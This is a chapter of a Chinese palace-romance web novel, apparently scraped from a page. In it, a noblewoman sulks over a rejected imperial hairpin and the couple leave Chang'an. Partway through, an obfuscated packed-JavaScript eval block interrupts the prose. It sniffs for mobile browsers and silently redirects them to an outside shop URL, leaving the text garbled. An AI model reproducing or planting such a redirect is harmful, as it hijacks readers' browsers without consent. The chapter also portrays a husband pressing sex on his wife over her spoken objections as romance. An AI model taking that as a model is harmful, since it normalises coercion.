三娘直勾勾看着匣子的凤簪,满眼舍不得,几乎要粘在上面。
一旁的戚素素更是望眼欲穿。
这一幕全都被拖把拓跋翊看在眼前,随即一把将匣子从贺兰徵手上夺过来,递给她。
“朕给她的,不是给你的。收与不收,还轮不到旁人来替她做主。”
闻言,三娘的眼眸瞬间重新亮了起来,满心欢喜地收下。
“我喜欢,多谢陛下。”
然而,她刚拿到手上,还没来得及捂热。又被一旁的贺兰徵拿了回去。
“唉唉,你干什么呀!”
三娘急得直跺脚,伸手想去抢。
这可是陛下亲自送给她的赔礼,不要白不要!
“此物乃皇后规制,过于僭越,实在不敢收。”贺兰徵平静道,“陛下心意,我与内子心领了。”
他转身,将那个木匣递给了旁边一脸错愕的戚素素。
“贵妃娘娘产期在即,吉庆将至。此番来得仓促,未曾备下贺礼,实在失礼。索性借花献佛,将此物转赠娘娘,聊表心意,还望娘娘莫要嫌弃。”
戚素素完全没料到这一出,愣在当场:“啊……”
明明就是陛下送给她的,他不让收就算了,居然转手就送给了戚素素!
还说什么与戚素素早已了断,再无瓜葛?她真是信了他的鬼话!
三娘气得咬牙切齿,恨不能扑上去咬他一口!
犹豫片刻,戚素素含笑接过:“多谢君侯相赠。”
见此情形,拓跋翊脸色铁青,一时语塞。
“告辞。”
做完一切,贺兰徵微微颔首向众人告辞,揽着三娘出了宫。
马车上,三娘离他远远地坐着,背对着他,独自生着闷气。
越想越憋屈,越想越不甘。甚至萌生了不想同他回洛阳的冲动。
“你若是喜欢,回洛阳我差人给你打造一只便是。”他试图缓解气氛。
三娘从鼻子里哼出一声。
也不知道说了多少回了,如今别说是金簪银簪,她连个像样的木头簪子都没看到。
半响,三娘喃喃道:“难怪戚家姑娘不顾一切都要进宫了。早知如此,我也进宫去当妃子算了,单凭这张神似元瑞皇后的脸,高低也能当个贵妃,想要什么便要什么。”
“难道她就不像么?”贺兰徵反问道,“今日的情形,你也看到了,帝王恩宠不过一夕之间,说变就变,全然不顾及她怀着身子站在烈日底下候着。”
三娘猛地回头,瞪着他:“你这么心疼她,方才怎不见你替她说句话!”
贺兰徵:“……”
车厢内再次陷入沉默。
“我承诺的事情,一定会尽力办到。”他再次开口,“只是眼下是治水和修缮朝天门关键时候,耗资甚多,要再等一等。”
三娘一听,更觉得委屈,脱口道:“那这和我有什么关系,早几年就在修了,又不是我嫁过去之后才修的。”
越想越不服气,她补充道:“再者,我是长安人士,此前的吃穿住行从未花过你一文钱。”
怎么什么罪名都赖在她头上,她承受不起这遗臭万年的骂名。
两人你一言我一语,气氛愈发紧张。
贺兰徵知道此刻她正在气头上,道理讲不通,只得暂缓,打算晚些再寻机会解释。
三娘气鼓鼓地回房里,连外衣都来不及脱就直接躺下睡觉。
反倒是戚素素成了最后的胜者。
虽然白日里被拓跋翊当众训斥,失了颜面。但傍晚时分,拓跋翊终究还是顾念着生病的公主,来到了福宁殿探望陪伴。
她心满意足。
是夜。
贺兰徵同众人商议离京诸事,将各项安排仔细交代妥当。回到房中时,已是三更时分。
吱呀——
推门声响起。床上背对门口的三娘立刻闭上眼睛,调整呼吸,装作已经熟睡的模样。
房门合上后,紧接床边传来窸窸窣窣的宽衣声,随后一个温暖结实的胸膛贴上她的后背。
她赶紧怂一下双肩,往里挪了挪,闷声道:“热,别挨着我,离远点。”
贺兰徵非但不退,反而更近了些:“外面起风了,夜里会凉。”
昏暗的床帐里,光线朦胧。她挪一寸,他跟一寸,最后无路可走。
“那就让我冻死好了。”三娘负气道,扬手去推他环在腰间的手臂,“正好帮你省些粮食!”
贺兰徵手臂微微一用力,将她整个人更紧地揽入怀中,温热的呼吸拂过她耳畔:“我家还不缺这点粮食。”
“我不爱吃你家的饭,总行了吧!”
三娘一脸嫌弃,用力去掰他箍在腰间的手。
“现在才说不爱吃,是不是有点完太晚了。”贺兰徵轻笑道,“都吃干抹净了,才想起来挑嘴?”
话音未落,三娘猛地屈起胳膊肘,毫不留情地向后撞去。“砰”的一声闷响,结结实实撞在他腹部。
贺兰徵没有松手,继续说道:“时候不早了,早点睡吧,后日便启程回去。”
“我说了要跟你回去了吗?”三娘梗着脖子,赌气道,“我不回去了!”
她打定主意,就是不原谅,看他能如何。
话音刚落,她就有点后悔。
贺兰徵原本规规矩矩环在她腰间的手,忽然开始不安分地上下游移。
“是吗?”他淡淡道。
三娘自然不会坐以待毙,吼道:“贺兰徵,你放开我!”
“你想巡夜的人都听到吗?”
贺兰徵搂紧她,动作加快。
“哎呀!我跟你说多少回了,我不喜欢这样……”
“我知道。”
贺兰徵吻了上去,将她身子翻过来,跃身而上。
床帐轻摇,烛影昏昏
……
翌日,云淡风轻,风里带着若有若无的清凉气息。
用过早膳,三娘磨磨蹭蹭地过来,同贺兰徵一起整理要带回洛阳的书籍与行李。
气是消了大半,但心里总还梗着点什么。
“我们回去了,方姐姐怎么办?”她不由担心起来,“难道就把她一个人留在行馆吗?万一我们走后,秦勉那老贼不死心,硬闯进来拿人,该如何是好?”
贺兰徵将一卷书放入箱中,答道:“她自然不能留在此处,需得随我们一道出城。待顺利出关后,再另行折返长安。”
“为何如此麻烦?干嘛不直接派人去告诉方大哥,让他提前去城外接应,要带出关去,她身上的伤可没有好全。”三娘不解道。
“你不记得了,此前方启明说她去江南了。”贺兰徵解释道,“眼下外边还在搜寻凶手,这出入关都需要逐一排查。只有跟我们出关才不会被查,再入关回来,待核查起来,才不会惹人怀疑。”
三娘恍然地“哦”了一声:“原来如此。”
正低头整理着一摞信札,她动作忽然慢了下来,轻轻叹了口气,情绪低落。
“又怎么了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294994|198559||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三娘看了一眼门外,满是不舍:“怎么这么快就要回去了,我都还没来得及好好去逛一逛呢。”
贺兰徵安抚道:“那就赶紧帮忙收拾,早些收拾好东西,就可以出去多逛些时辰。”
“真的。”
“自然。
”
三娘听完,心情逐渐转好,加快手上动作收拾。
两人自午后出门,先后去了大兴善寺和市集。直到暮色四合,两人才带着大包小包,意犹未尽地回到行馆。
若不是有宵禁,她可以一直游玩至天明。
身心俱疲地睡了一夜,一早启程返回洛阳。
为了不引人怀疑,贺兰徵没有让人多备一辆马车,三人同乘一辆马车。
好在马车宽敞,就是忽然多了一个人,多少有些不习惯。
顺利出了城,三娘偷偷掀开车帘最后看一眼长安。
城门上的长安二字越来越小,扫过城楼上方,瞥见了一道熟悉的身影,目不转睛地目送马车远去。
那人是拓跋翊,她绝对不会看错。
三娘匆匆一瞥,赶忙放下车帘,重重叹了一口气。
“怎么了?”方淑明关心道。
她摇了摇头,没说话,看了贺兰徵一眼。
贺兰徵居上座,对着车门,没有看向外面。
但从她的反应中,他不难猜出她看见了谁,才会是这个反应。
除了拓跋翊,再无其它。
出城后不久,便下起了雨,道路泥泞湿滑,车马不得不放缓速度。
行至第三天才出关抵达陕州,休整一夜再继续启程。
方启明安排前来接应的人早已在此等候多时,不知不觉也到了分别的时候。
“此次多亏了君侯与夫人出手相救,我才得意捡回一条命。”方淑明心中感激万分,“以后若是有需要明家庄的地方,尽管开口便是。”
贺兰徵抬手道:“不必,举手之劳罢了。”
方淑明望向三娘,笑道:“三娘,一路保重。”
三娘颔首“嗯”了一声:“你也是。”
分别之际,贺兰徵方才又道:“不知此前本君所问之事,庄主可想好如何回答了?”
“什么事啊?”三娘好奇地问他。
万万没想到,他们竟然也有事瞒着她。
只见方淑明点了点头,拿着一份用布包着的,类似书本的扁平快状物,双手递给了他。
“我所知道的都在里面了,别的……”她一边说着,一边再次看向三娘,“别的我就不太清楚了。”
贺兰徵郑重地接过来:“好,多谢。”
见两人话里有话,三娘伸手去拿,他却不给,只得怒视一眼。
方淑明不放心地补充一句:“还请君侯善待于她,她是个可怜人。”
“谁是可怜人啊?”她不明所以。
男的女的。
怎么平白无故又多出一个人来,还让他好好善待……
再次启程,马车内只剩她和贺兰徵,一时也没了顾及。
三娘软绵绵地靠在他怀里,心里的算盘却在打那包东西的主意。
趁他看折子看地入迷,她小心翼翼地伸出手抚上那包东西。
还没来得及拿起,眼观八方的贺兰徵,眼疾手快放手按住。
“到底是什么嘛?让我看看怎么了!”
“不行。”
他严词拒绝。
“难不成是情书?”
贺兰徵:“……”